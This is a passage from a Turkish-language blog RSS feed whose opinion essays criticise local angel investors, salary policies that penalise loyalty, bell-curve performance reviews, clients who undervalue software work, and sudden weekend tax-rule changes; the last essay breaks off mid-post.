<p>Yeni bir ürün geliştiren, uykusuz geceler geçiren genç girişimci arkadaşlarımıza tavsiyemiz çok açıktır:</p>
<p>Aç kalın, geceleri freelance iş yaparak sunucu masraflarınızı çıkarın, şirketinizi kendi öz kaynaklarınızla (bootstrap) büyütün; ama <strong>şirketinizin kontrolünü ve çoğunluk hissesini asla bu tip yerel sermayedarlara teslim etmeyin.</strong></p>
<p>İlk turda %15'ten fazla hisse isteyen, sözleşmeye saçma sapan veto hakları koyan, çek defterine el koymaya kalkan hiç kimse melek değildir.</p>
<p>Unutmayın; Türkiye'de yatırım almak çoğunlukla bir başarı veya özgürleşme anı değil; fikrinize, emeğinize ve geleceğinize yeni, otoriter ve vizyonsuz bir patron ortak etme tuzağıdır.</p>
<p>Kendi geminizin kaptanı olarak batmak; bir patronun yatında forsa olmaktan bin kat daha onurludur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>melek-yatirimci</category>
            <category>startup-ekosistemi</category>
            <category>turk-sermayesi</category>
            <category>girisimcilik</category>
            <category>hisse-baskisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yerli-angel-investor-melek-yatirimci-gercekligi-yatirimci-mi-sirket-hissedari-patron-mu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Şirket Değiştirerek Zam Alma" Zevki ve Sadakatin Cezalandırılması]]></title>
            <link>http://localhost:3000/blog/post/sirket-degistirerek-zam-alma-zevki-ve-sadakatin-cezalandirilmasi</link>
            <guid>sirket-degistirerek-zam-alma-zevki-ve-sadakatin-cezalandirilmasi</guid>
            <pubDate>Sat, 20 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Aynı masada 3 yıl oturup enflasyona ezdirilen sadık mühendis ile her yıl şirket değiştirip maaşını katlayan "job-hopper" arasındaki trajik İK paradoksu.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sirket-degistirerek-zam-alma-zevki-ve-sadakatin-cezalandirilmasi/thumbnail" alt=""> Modern yazılım sektörünün koridorlarında fısıldanan, İK departmanlarının asla yüksek sesle itiraf edemediği ama herkesin iliklerine kadar bildiği acımasız bir piyasa kanunu vardır:</p>
<p><strong>"Bir şirkette kalmak sizi fakirleştirir; şirket değiştirmek ise sizi zenginleştirir."</strong></p>
<p>Aynı üniversiteden aynı yıl mezun olmuş iki arkadaş düşünün: Can ve Mert.</p>
<p>Can, mezuniyetinde girdiği bir teknoloji şirketine sadakatle bağlanmıştır. Şirketin kod tabanını avucunun içi gibi bilir. Gece 03:00'te production çöktüğünde yatağından fırlayan, hafta sonu deployment'larına gönüllü olan, projenin tüm teknik borcunu omuzlayan fedakar bir mühendistir. Şirkette üç yılını doldurmuştur. Üç yıl boyunca her zam döneminde yöneticisi sırtını sıvazlamış, <em>"Can'cım sen bizim can damarımızsın, bu yıl sana şirket ortalamasının üstünde, tam %30 zam yaptık"</em> demiştir.</p>
<p>Sonuç? Can'ın üç yıl önceki maaşı enflasyon ve döviz karşısında erimiş; bugünkü alım gücü yeni mezun bir junior seviyesine gerilemiştir.</p>
<p>Şimdi Mert'e bakın. Mert hiçbir şirkete duygusal bağ kurmamıştır. İlk şirketinde 9 ay kalmış, başka bir teklif bulunca %60 zamla geçmiş. İkinci şirketinde 10 ay kalmış, bir sonraki teklifte maaşını %70 artırmış. Üçüncü şirketine geçerken bir sıçrama daha yapmıştır.</p>
<p>Üçüncü yılın sonunda Can ile Mert Kadıköy'de bir kahvecide buluşurlar.</p>
<p>Mert'in kazandığı maaş, Can'ın kazandığı maaşın tam <strong>üç katıdır!</strong></p>
<p>Üstelik Can projenin tüm mimarisini sırtında taşırken; Mert gittiği şirketlerde sadece belirli modülleri yazıp, sistemin derin karmaşasına bulaşmadan bir sonraki durağına geçmiştir.</p>
<p>İşte yazılım dünyasının en büyük ahlaki ve yönetimsel çöküşü budur: <strong>Piyasa sadakati ödüllendirmez; aksine, sadık olanı finansal olarak cezalandırır (Loyalty Penalty).</strong></p>
<h3>Kendi Uzmanını Kaçırıp Dışarıdan Nöbetçi Kiralayan Hastane</h3>
<p>Bu idari basiretsizliğin sağlık sektöründeki karşılığı tam bir yönetim fiyaskosudur.</p>
<p>Bir eğitim ve araştırma hastanesini düşünün. Acil tıp kliniğinde yıllardır çalışan, acilin her köşesini bilen, kritik triyaj kararlarını saniyeler içinde veren, ekibin saygısını kazanmış kıdemli bir uzman hekim vardır.</p>
<p>Bu hekim başhekimliğe gider: <em>"Hocam, hayat pahalılığı arttı, nöbet ücretlerimiz enflasyonun çok altında kaldı. Maaşımda veya döner sermayemde makul bir iyileştirme talep ediyorum, aksi takdirde ailemi geçindiremiyorum."</em></p>
<p>Başhekim ellerini iki yana açar: <em>"Ah be doktorum, biliyorsun bütçemiz çok kısıtlı. Bakanlık kadro tavanını belirledi, sana tek kuruş fazla veremeyiz. Şartlar böyle, idare edeceksin."</em></p>
<p>Hekim istifa eder. Özel sektöre veya başka bir hastaneye geçer.</p>
<p>Peki ertesi hafta o hastanede ne olur?</p>
<p>Klinikte uzman hekim kalmadığı için acil servis kilitlenir. Başhekimlik panikle dışarıdan taşeron özel sağlık şirketleri üzerinden "nöbetçi konsültan hekim" kiralamak zorunda kalır. Ve o dışarıdan gelen, hastanenin işleyişinden bihaber olan hekime, giden hekime vermekten kaçındığı maaşın <strong>iki buçuk katını</strong> seve seve öder!</p>
<p>İşte Türkiye'deki yazılım şirketlerinin ve İK departmanlarının akıl almaz zihniyeti tam olarak bu hastane başhekiminin zihniyetidir.</p>
<h3>İK Bütçelerinin İkiyüzlülüğü: Retention vs. Hiring</h3>
<p>Şirketlerin finansal bütçelerinde iki ayrı havuz vardır:</p>
<ol>
<li><strong>Retention Budget (Çalışanı Tutma Bütçesi):</strong> İçerideki mevcut personelin zammı için ayrılan pay. Bu havuz her zaman "kriz var", "enflasyon yüksek", "bütçe kısıtlı" bahaneleriyle dar tutulur.</li>
<li><strong>Hiring Budget (Yeni İşe Alım Bütçesi):</strong> Dışarıdan yeni birini almak için ayrılan pay. Bu havuz inanılmaz bir şekilde sınırsızdır!</li>
</ol>
<p>İçerideki sadık mühendisi tutmak için ayda 10 bin liralık zammı çok gören yönetim; o mühendis istifa ettiği gün masadaki işleri yetiştirebilmek için dışarıdan alacağı adaya piyasa rayicinden 25 bin lira fazlasını hiç gözünü kırpmadan verir.</p>
<p>Dahası; giden personelin arkasında bıraktığı kurumsal hafıza kaybını, yeni personelin işe alışma (onboarding) sürecindeki 3 aylık verimsizliği ve bozulan kod tabanını telafi etmek için yüz binlerce lira fazladan harcarlar.</p>
<p>Bu, tarihin en irrasyonel, en ahmakça şirket yönetimi modelidir.</p>
<h3>Kurumsal Hafızanın Mezarlığı</h3>
<p>Bu çarpık düzenin yarattığı en büyük felaket, kod tabanlarının ve sistemlerin <strong>kimsesizleşmesidir.</strong></p>
<p>Herkesin 9 ayda bir şirket değiştirdiği bir ekosistemde; yazılan kodların arkasındaki mantığı, mimari kararların neden öyle alındığını bilen hiç kimse kalmaz. Şirketler, kimsenin dokunmaya cesaret edemediği "legacy spagetti" sistemlerin esiri haline gelir. Yeni gelen mühendis eskisinin kodunu anlamaz, silip baştan yazar; 9 ay sonra o da gider ve döngü sonsuza kadar tekrarlanır.</p>
<p>Sadakati cezalandıran şirketler, aslında kendi kurumsal geleceklerini ve sistem sürekliliklerini çöpe atmaktadır.</p>
<h3>Yazılımcıya Düşen: Gerçekçi Olmak</h3>
<p>Buradan genç ve orta kıdemdeki yazılımcılara verilecek en dürüst kariyer tavsiyesi şudur:</p>
<p>Şirketler sizin aileniz değildir. Şirketler birer ticari organizasyondur ve bu organizasyonların kuralını siz yazmadınız.</p>
<p>Eğer çalıştığınız şirkette emeğinizin karşılığı verilmiyorsa, enflasyon karşısında reel alım gücünüz eriyor ve yönetim "bütçemiz yok" masalları anlatıyorsa; sadakat gösterip yerinizde oturmanın size kazandıracağı tek şey fakirliktir.</p>
<p>Mülakatlara girin. Piyasa değerinizi test edin. Konfor alanınızdan çıkmaktan korkmayın.</p>
<p>Çünkü yerel piyasa kuralları değişmediği sürece; hak ettiğiniz değeri aynı şirkette bekleyerek değil, kapıyı kapatıp bir sonraki masaya geçerek almak zorunda kalacaksınız. Ve o kapıyı çarpmaktan çekinmeyenler, her zaman o masada sessizce bekleyenlerden daha güçlü olacaktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>sirket-degistirme</category>
            <category>sadakat-cezasi</category>
            <category>maas-politikasi</category>
            <category>yazilim-kariyeri</category>
            <category>ik-paradoksu</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sirket-degistirerek-zam-alma-zevki-ve-sadakatin-cezalandirilmasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Performans Değerlendirme" Tiyatrosu: KPI'lar, Bell-Curve ve İllüzyon]]></title>
            <link>http://localhost:3000/blog/post/performans-degerlendirme-tiyatrosu-kpilar-bell-curve-ve-illuzyon</link>
            <guid>performans-degerlendirme-tiyatrosu-kpilar-bell-curve-ve-illuzyon</guid>
            <pubDate>Fri, 19 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sayfalarca doldurulan self-evaluation formları, 360 derece geri bildirim kabaresi ve bütçe kısıtını meşrulaştırmak için uydurulan çan eğrisi (Bell-Curve) illüzyonu.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/performans-degerlendirme-tiyatrosu-kpilar-bell-curve-ve-illuzyon/thumbnail" alt=""> Her yılın aralık ayında veya yeni yılın ilk haftalarında, kurumsal şirketlerin ve teknoloji devlerinin koridorlarında aynı kasvetli, yapmacık ve bürokratik ayin başlar:</p>
<p><strong>"Yıllık Performans Değerlendirme Dönemi."</strong></p>
<p>İK departmanından tüm çalışanlara heyecanlı e-postalar yağar: <em>"Kişisel gelişiminizi kutlamak, hedeflerinizi değerlendirmek ve geleceğe yön vermek için performans formları açılmıştır!"</em></p>
<p>Yazılımcı masasına oturur. Önünde İK yazılımının (BambooHR, Workday, SuccessFactors vb.) karmaşık formları açılır. Sayfalarca soru vardır:</p>
<ul>
<li><em>"Bu yıl şirketin stratejik vizyonuna nasıl katkı sağladınız?"</em></li>
<li><em>"Hangi liderlik yetkinliklerinizi geliştirdiniz?"</em></li>
<li><em>"Kendinize 5 üzerinden kaç puan verirsiniz?"</em></li>
</ul>
<p>Mühendis büyük bir ciddiyetle günlerini harcar. Yıl boyunca kapattığı yüzlerce Jira biletini, gece 02:00'de çözdüğü veritabanı krizlerini, yazdığı binlerce satır optimize kodu ve mimariye kazandırdığı hız artışlarını tek tek belgeler. Kendine gururla <strong>"5 üzerinden 4.8"</strong> verir.</p>
<p>Ardından 360 derece akran değerlendirmeleri yapılır, takım arkadaşlarına övgüler düzülür.</p>
<p>Ve nihayet, o büyük gün gelir: <strong>Yöneticiyle Birebir Performans Kapanış Toplantısı.</strong></p>
<p>Yazılımcı heyecanla odaya girer; hak ettiği takdiri ve yüksek zam oranını alacağını düşünmektedir.</p>
<p>Yönetici masanın karşısında derin bir iç çeker. Gözlerini kaçırarak konuşmaya başlar:</p>
<p><em>"Furkan'cım, gerçekten olağanüstü bir yıl geçirdin. Gece gündüz çalıştın, sistemi ayakta tuttun, katkıların tartışılamaz. Ama biliyorsun... Şirket genelinde bir <strong>Bell-Curve (Çan Eğrisi)</strong> kuralı var. İK'dan gelen kota gereği ekibimizden sadece 1 kişiye 'Beklentinin Üzerinde' notu verebiliyoruz. O hakkı da bu sene başka bir arkadaşa kullanmak zorunda kaldık. Sana mecburen 'Beklentileri Karşılıyor' (yani 5 üzerinden 3) vermek durumundayım. Yoksa üst yönetim bütçeyi onaylamıyor."</em></p>
<p>O an, masadaki tüm o KPI'ların, formların, hedeflerin ve değerlendirmelerin koca bir tiyatro dekorundan ibaret olduğunu anlarsınız.</p>
<h3>Deprem Bölgesinde Hekime Çan Eğrisi Uygulamak</h3>
<p>Bu kurumsal maskaralığın tıp dünyasındaki karşılığı insanın tüylerini ürpertir.</p>
<p>Büyük bir felaket, örneğin bir deprem veya küresel bir pandemi yaşanmıştır. Bir eğitim araştırma hastanesinin acil servisindeki tüm hekimler, hemşireler ve sağlık memurları; aylarca evlerine gitmeden, uykusuz, molasız çalışmış ve binlerce kritik hastayı hayata döndürmüştür. Herkes insanüstü bir fedakarlık sergilemiştir.</p>
<p>Yıl sonu gelir. Hastane başhekimi klinik ekibini toplar ve şöyle der:</p>
<p><em>"Arkadaşlar, hepiniz birer kahramansınız, canınızı dişinize taktınız. Ancak Sağlık Bakanlığı'ndan performans ödemeleri için bir genelge geldi. Çan eğrisi gereği servisimizdeki hekimlerin sadece %10'una 'Üstün Başarı' ödülü verebiliyoruz. Geri kalan %80'iniz 'Vasat/Normal', %10'unuz ise 'Yetersiz' performans dilimine sokulacaksınız. Kusura bakmayın, döner sermaye bütçemiz bu kadar."</em></p>
<p>Böyle bir tabloda o sağlık çalışanlarının hissedeceği şey ne olur? Derin bir hakaret, mesleki onurun çiğnenmesi ve katıksız bir öfke.</p>
<p>İşte yazılım şirketlerindeki çan eğrisi sistemi tam olarak bu ahlaksızlığın kurumsal kılıfıdır.</p>
<h3>Performans Sistemi Bir Ölçüm Değil, Bütçe Meşrulaştırma Aracıdır</h3>
<p>Kurumsal dünyanın en büyük yalanı, performans değerlendirme süreçlerinin "çalışanın gelişimini ve katkısını ölçmek" için yapıldığıdır.</p>
<p>Gerçek ise son derece basittir: <strong>Performans sistemi, önceden belirlenmiş olan kısıtlı zam bütçesini çalışanlara kabul ettirmenin psikolojik manipülasyon aracıdır.</strong></p>
<p>Süreç aslında şöyle işler:</p>
<ol>
<li>Finans departmanı ve yönetim kurulu yıl başında toplanır: <em>"Bu yıl toplam çalışan maaş bütçesini en fazla %30 artırabiliriz."</em></li>
<li>İK departmanı bu %30'luk kısıtı alır ve matematiksel bir filtreye dönüştürür: <em>"Eğer herkese gerçek performansına göre not verirsek bütçe patlar. O halde herkesi zorla 5 üzerinden 3'e sıkıştıracak bir çan eğrisi uydurmalıyız."</em></li>
<li>Yöneticilere gizli kotalar dağıtılır: <em>"Ekibinin %70'inden fazlasına 3'ün üzerinde not veremezsin!"</em></li>
<li>Ve toplantılarda mühendisin önüne bahaneler sürülür: <em>"Çok iyi kod yazdın ama şirket içi sunumlarda yeterince proaktif değildin", "Teknik olarak harikasın ama kurumsal kültür etkinliklerine yeterince katılmadın."</em></li>
</ol>
<p>Yani notunuzu belirleyen şey sizin yazdığınız kodun kalitesi veya çözdüğünüz problemler değildir; finans departmanının o yılki nakit akışı ve İK'nın excel formülleridir.</p>
<h3>Motivasyonun Katliamı</h3>
<p>Bu sahte tiyatronun şirketlerde yarattığı en büyük tahribat, yüksek performans gösteren yetenekli mühendislerin motivasyonunu yok etmesidir.</p>
<p>Mühendis bakar ki; gece gündüz çalışıp production kurtaran ile, mesai boyunca sadece kahve içip iki satır HTML değiştiren adam yıl sonunda aynı "Beklentileri Karşılıyor" kutucuğuna tıkıştırılıyor ve aynı %30 zammı alıyor.</p>
<p>O mühendis bir daha asla fedakarlık yapmaz.</p>
<p>Sistem çöktüğünde telefonunu kapatır. Saat 18:00 dediğinde bilgisayarını kilitler. <em>"Madem beklentileri karşılamak yetiyor, ben de tam olarak asgari beklenti kadar çalışırım"</em> der. Şirket, kendi icat ettiği çan eğrisiyle kendi en iyi beyinlerini vasatlığa mahkum eder.</p>
<h3>Tiyatroyu Reddetmek</h3>
<p>Bir şirketin başarısı, insanları sahte istatistiksel eğrilerin içine hapsetmekle değil; gerçek başarıyı şeffafça ödüllendirmekle mümkündür.</p>
<p>Eğer tüm ekibiniz harika bir yıl geçirmişse, tüm ekibinize hak ettiği payı vermek zorundasınızdır. Bütçeniz yoksa, bunu dürüstçe söyleyecek cesareti göstermelisiniz: <em>"Arkadaşlar, bu yıl şirket olarak finansal hedeflerimizi tutturamadık, bütçemiz kısıtlı; ama hepinizin emeğinin farkındayız."</em></p>
<p>Bunu söylemek yerine, çalışanların başarısını inkar edip onları "vasat" göstermeye çalışmak kurumsal bir sahtekarlıktır.</p>
<p>Ve hiçbir mühendis, excel tablolarındaki yapay yüzdelere sığdırılamayacak kadar kıymetlidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>performans-degerlendirme</category>
            <category>bell-curve</category>
            <category>can-egrisi</category>
            <category>kurumsal-tiyatro</category>
            <category>ik-yalanlari</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/performans-degerlendirme-tiyatrosu-kpilar-bell-curve-ve-illuzyon/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Domain & Hosting" Satın Alan Müşterinin Kendini "Yazılım Yaptırdım" Sanması]]></title>
            <link>http://localhost:3000/blog/post/domain--hosting-satin-alan-musterinin-kendini-yazilim-yaptirdim-sanmasi</link>
            <guid>domain--hosting-satin-alan-musterinin-kendini-yazilim-yaptirdim-sanmasi</guid>
            <pubDate>Thu, 18 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[150 TL'ye alan adı alıp "Yazılım işini hallettik" diyen esnaf özgüveni, boş arsayla gökdelen arasındaki fark ve yerel piyasanın mühendislik algısıyla imtihanı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/domain--hosting-satin-alan-musterinin-kendini-yazilim-yaptirdim-sanmasi/thumbnail" alt=""> Türkiye'deki bir serbest (freelance) yazılımcının veya butik bir yazılım ajansının geleneksel bir KOBİ patronuyla masaya oturduğunda yaşadığı o meşhur diyaloğu herkes en az bir kez tecrübe etmiştir:</p>
<p>Patron koltuğunda geriye yaslanır, purosunu veya çayını tüttürerek büyük bir özgüvenle konuşmaya başlar:</p>
<p><em>"Furkan Bey, biz işin en zor kısmını zaten hallettik. İsim tescilini yaptık, <code>ahmetogullariinsaat.com</code> domainini aldık. Yıllık hosting paketini de en kral firmadan 400 liraya bağladık. Yani altyapı hazır, yazılım bitti sayılır. Şimdi senden tek ricamız; sisteme girip bizim ürünleri listeleyeceğimiz, müşterilerin kredi kartıyla alışveriş yapacağı, muhasebe programımızla otomatik konuşan, kargoyu takip eden ve stokları güncelleyen bir arayüz koyuver. Altı üstü iki sayfa tasarım yapacaksın. İki günde bitirirsin herhalde, sana da bir çorba parası atarız."</em></p>
<p>Yazılımcı boğazını temizler, sakin kalmaya çalışarak teklifi önüne koyar:</p>
<p><em>"Ahmet Bey; bahsettiğiniz ERP entegrasyonu, distributed ödeme altyapısı, PCI-DSS güvenlik standartları, sepet mimarisi ve mobil uyumlu arayüzün geliştirilmesi en az 3 aylık bir mühendislik çalışması gerektirir ve maliyeti 250 bin TL'dir."</em></p>
<p>O an odadaki hava anında buz keser. Patronun gözleri yuvalarından fırlar, kaşları çatılır:</p>
<p><em>"Ne 250 bini kardeşim! Sen beni dolandırıyor musun? Ben zaten isim hakkını 150 liraya aldım, hostinge de para verdim. Sitenin her şeyi hazır! Sen altı üstü klavyede yazı yazacaksın, iki düğme koyacaksın. Bu para neyin nesi?!"</em></p>
<p>İşte yerel pazarımızın en kadim, en trajikomik yanılgısına hoş geldiniz: <strong>Arsa satın almakla, o arsanın üzerine 40 katlı depreme dayanıklı akıllı bir gökdelen dikmek arasındaki farkı kavrayamamak.</strong></p>
<h3>Eczaneden Yara Bandı Alıp "Ameliyathane Kurdum" Demek</h3>
<p>Bu zihniyetin sağlık sektöründeki karşılığı tam bir akıl tutulmasıdır.</p>
<p>Bir adamın mahalle eczanesine gidip 25 liraya bir rulo sargı bezi, 30 liraya bir şişe tentürdiyot ve 10 liraya bir kutu yara bandı aldığını düşünün.</p>
<p>Sonra evine dönüyor, oturma odasındaki sehpanın üzerine bu malzemeleri diziyor ve komşularını toplayıp gururla şöyle diyor:</p>
<p><em>"Komşular, müjde! Evde tam teşekküllü özel hastaneyi kurdum. İlaçlar hazır, sargı bezi masada. Şimdi mahalledeki cerraha haber salın, gelsin burada açık kalp ameliyatı yapsın, karaciğer nakli yapsın. Zaten hastanenin her şeyini ben aldım, cerrah sadece eline bistüriyi alıp iki dikiş atacak. Ona da bir muayene parası veririz, biter."</em></p>
<p>Böyle bir adama ne dersiniz? Muhtemelen akli melekelerinin yerinde olmadığını düşünür, en yakın psikiyatri kliniğine sevk edersiniz.</p>
<p>Çünkü bir hastane; dört duvar veya sargı bezi demek değildir. Hastane; steril havalandırma sistemleri, anestezi cihazları, yoğun bakım monitörleri, kan biyokimya laboratuvarı ve hepsinden önemlisi o aletleri kullanmayı bilen uzman hekimlerin yıllarca imbikten geçmiş bilgisidir.</p>
<p>Yazılımda da bir alan adı (domain); internet denen sınırsız coğrafyada sadece bir <strong>posta adresi tabelasıdır.</strong></p>
<p>Hosting ise o tabelanın çakıldığı <strong>boş bir çamurlu arsadır.</strong></p>
<p>O arsanın üzerine binlerce kullanıcının güvenle ödeme yapabileceği, verilerin şifreleneceği, concurrency krizlerinin yönetileceği bir yazılım inşa etmek; katıksız bir mühendislik, mimari vizyon ve derin bir zihinsel emek gerektirir. Tabelayı satın almış olmak, evi inşa etmiş olmak demek değildir.</p>
<h3>Somut Olmayan Emeğin Değersizleştirilmesi</h3>
<p>Türkiye'deki geleneksel sermayenin yazılıma para ödemekte bu kadar direnç göstermesinin temelinde, <strong>fiziksel olmayan (intangible) emeği idrak edememe körlüğü</strong> yatar.</p>
<p>Geleneksel tüccar; elinde tutabildiği, kamyona yükleyebildiği, deposuna istifleyebildiği mala saygı duyar. Bir inşaata çimento alırken, fabrikaya torna tezgahı alırken milyonlarca lirayı hiç acımadan harcar. Çünkü demir somuttur, ağırlığı vardır, gözüyle görür.</p>
<p>Fakat yazılımcının ürettiği değer bir USB belleğin içinde veya bulut sunucunun belleğindedir. Kod görünmez; elle tutulmaz. Patron için ekrandaki o harfler, çocuğun evde klavyede rastgele tuşlara basmasından farksız görünür. <em>"Benim yeğen de bilgisayarla oynuyor"</em> cehaletinin kökeni burasıdır.</p>
<p>Bu yüzden patron; bir sunucu kutusuna (donanıma) 50 bin TL verirken gocunmaz ama o donanımın içindeki hayatı var eden yazılıma 10 bin TL vermeyi "sokağa atılan para" olarak görür.</p>
<h3>Yazılımcının İmtihanı: Sınır Koyabilmek</h3>
<p>Bu müşteri profiliyle karşılaştığınızda yapabileceğiniz en büyük hata, onların bu cehaletine boyun eğip fiyat kırmaktır.</p>
<p><em>"Peki abi, madem bütçeniz bu kadar, ben size 5 bin liraya halledeyim"</em> dediğiniz an; hayatınızın en büyük cehennemine adım atarsınız.</p>
<p>Çünkü 250 bin liralık profesyonel bir kurumsal müşteri projenin sınırlarına ve sözleşmeye saygı duyarken; 5 bin liraya iş yaptırdığını sanan o KOBİ patronu, haftanın yedi günü gece yarısı sizi arayıp <em>"Bizim sitenin yazısı biraz sağa kaymış, hemen düzelt"</em> diye ömrünüzü tüketir. Ucuz müşterinin maliyeti her zaman en pahalı maliyettir.</p>
<p>Onlara arsa ile bina arasındaki farkı analojilerle anlatın.</p>
<p>Anlıyorlarsa ne ala; anlamıyorlarsa ve <em>"Domaini aldık zaten, gerisi kolay"</em> demeye devam ediyorlarsa, bırakın o boş arsanın üzerinde kendi tabelalarıyla baş başa kalsınlar.</p>
<p>Çünkü mühendislik; boş arsalara çadır kurmak isteyenlerin kaprisleriyle harcanamayacak kadar soylu bir meslektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>domain-hosting</category>
            <category>musteri-psikolojisi</category>
            <category>kobi-vizyonsuzlugu</category>
            <category>yazilim-algisi</category>
            <category>piyasa-gercegi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/domain--hosting-satin-alan-musterinin-kendini-yazilim-yaptirdim-sanmasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Cuma Günü Yayınlanan Mevzuat Değişikliği" ve Yazılımcının Hafta Sonu Mesaisi]]></title>
            <link>http://localhost:3000/blog/post/cuma-gunu-yayinlanan-mevzuat-degisikligi-ve-yazilimcinin-hafta-sonu-mesaisi</link>
            <guid>cuma-gunu-yayinlanan-mevzuat-degisikligi-ve-yazilimcinin-hafta-sonu-mesaisi</guid>
            <pubDate>Wed, 17 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Cuma gece yarısı Resmi Gazete'de yayımlanan ani bir tebliğ, iptal olan hafta sonu planları ve Türkiye'de kod yazmanın devlet refleksleriyle imtihanı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cuma-gunu-yayinlanan-mevzuat-degisikligi-ve-yazilimcinin-hafta-sonu-mesaisi/thumbnail" alt=""> Dünyanın başka bir ülkesinde bir yazılım mühendisi için cuma gecesi saat 23:30; arkadaşlarıyla bir şeyler içtiği, sinemaya gittiği veya haftanın yorgunluğunu üzerinden atıp derin bir uykuya daldığı huzurlu bir andır.</p>
<p>Ancak Türkiye'de, özellikle bir finansal teknoloji (FinTech), e-ticaret veya kurumsal muhasebe/ERP şirketinde çalışan bir mühendisseniz; cuma geceleri telefonunuzun başında hafif bir anksiyete nöbetiyle beklemeniz gereken saatlerdir.</p>
<p>Çünkü saatler tam 00:00'ı vurduğunda, devletin o meşhur web sitesinde yeni bir sayfa açılır: <strong>Resmi Gazete.</strong></p>
<p>Ve o gece Resmi Gazete'nin mükerrer sayısında tek bir satırlık bir Cumhurbaşkanlığı Kararı veya Bakanlık Tebliği yayımlanır:</p>
<p><em>"Katma Değer Vergisi (KDV) genel oranı %18'den %20'ye, belirli mal ve hizmetlerdeki indirimli oran ise %8'den %10'a yükseltilmiştir. Bu karar yayımı tarihini takip eden ilk iş günü (yani pazartesi sabahı saat 00:00'da) yürürlüğe girer."</em></p>
<p>O bildirim düştüğü an; Türkiye'deki on binlerce yazılımcının cumartesi ve pazar gününe dair tüm hayalleri, sinema biletleri, aile yemekleri ve dinlenme planları tek bir saniyede buharlaşır.</p>
<p>Şirketin Slack kanallarında kırmızı alarmlar yanıp sönmeye başlar:</p>
<p><em>"@channel Arkadaşlar acil durum! KDV oranları değişti. Pazartesi sabahına kadar veritabanındaki 5 milyon ürünün vergi oranlarını güncellememiz, checkout ve sepet hesaplama motorunu revize etmemiz, e-fatura entegrasyonlarını yeni şemaya uyarlamamız ve mobil uygulamalara acil hotfix çıkmamız lazım. Aksi takdirde pazartesi sabahı kesilen her hatalı faturada Gelir İdaresi'nden milyonluk cezalar yeriz!"</em></p>
<p>Ve o andan itibaren, modern bir ülkenin mühendisleri; devletin bürokratik bir gecikmesinin faturasını 48 saat aralıksız kod yazarak, sabahlayarak ödemek üzere masalarına kilitlenir.</p>
<h3>Acil Servis Protokolünü Gece Yarısı Değiştirmek</h3>
<p>Bu durumun sağlık sektöründeki karşılığını bir acil tıp uzmanına veya başhekime sorun.</p>
<p>Cuma gecesi saat 01:00'de Sağlık Bakanlığı ve Sosyal Güvenlik Kurumu'nun (SGK) ani bir genelge yayımladığını hayal edin:</p>
<p><em>"Acil servislere başvuran hastaların triyaj kodlama sistemi, yeşil ve sarı alan faturalandırma kuralları ve reçete edilen tüm antibiyotiklerin Medula onay algoritmaları bu sabah saat 08:00 itibarıyla tamamen değiştirilmiştir. Uymayan hastanelerin tüm geri ödemeleri kesilecek ve idari para cezası uygulanacaktır."</em></p>
<p>Cumartesi sabahı nöbete giren hekim neyle karşılaşır?</p>
<p>Kapıdan kan revan içinde travma hastaları, kalp krizleri girerken; hekim ve hemşireler hastaya müdahale etmek yerine hastane bilgi sisteminde çöken ekranlarla, sisteme girilemeyen reçetelerle ve onay vermeyen Medula sunucularıyla boğuşmak zorunda kalır. Bürokrasi, acil servisin şah damarına basmıştır.</p>
<p>İşte Türkiye'de cuma gecesi mevzuat değişiklikleri; dijital ekonominin, ödeme sistemlerinin ve e-ticaret altyapılarının kalbine tam olarak bu cerrahi darbeyi vurmaktadır.</p>
<h3>Bürokrasinin "Tek Tuş" Cehaleti</h3>
<p>Bu acımasızlığın arkasında yatan temel sebep, <strong>devlet bürokrasisinin ve kanun koyucuların yazılımın doğasını hiç anlamamasıdır.</strong></p>
<p>Ankara'daki bir bürokrat veya siyasetçi, yazılımı şöyle bir şey zanneder: <em>"Ne var canım, altı üstü bilgisayarda bir tuşa basacaklar, %18'i silip yerine %20 yazacaklar. İki dakikalık iş için yaygara koparıyorlar."</em></p>
<p>Oysa o bürokratın bilmediği şey şudur:</p>
<ul>
<li>Milyonlarca satırlık ilişkisel veritabanında, eski siparişlerin geriye dönük muhasebe tutarlılığını bozmadan yeni vergi oranlarını tanımlamak devasa bir veri göçü (data migration) gerektirir.</li>
<li>Üçüncü parti onlarca entegrasyon (ödeme geçitleri, pazaryeri API'leri, kargo firmaları, e-fatura özel entegratörleri) bu yeni kuralı kendi sistemlerinde eşzamanlı olarak güncellemek zorundadır.</li>
<li>Eğer tek bir servis gecikirse, sistemler arası veri tutarsızlığı (split-brain) patlar ve müşterinin kartından çekilen tutarla faturadaki tutar birbirini tutmaz.</li>
</ul>
<p>Dünyanın gelişmiş hukuk devletlerinde bu tip yapısal vergi veya mevzuat değişiklikleri yapıldığında; sektöre <strong>en az 3 ila 6 aylık bir geçiş süreci (grace period)</strong> tanınır. Yazılım ekipleri sistemlerini test ortamlarında dener, senaryoları simüle eder ve geçiş günü geldiğinde sıfır kesinti ve sıfır panikle canlıya alırlar.</p>
<p>Bizde ise cuma gecesi tebliğ basılır, pazartesi sabahı ceza sopası sallanır.</p>
<h3>Esnek Mimarinin Önemi: Kuralı Koda Gömme!</h3>
<p>Bu coğrafyada hayatta kalmak isteyen bir yazılım mimarının çıkarması gereken en büyük mühendislik dersi şudur:</p>
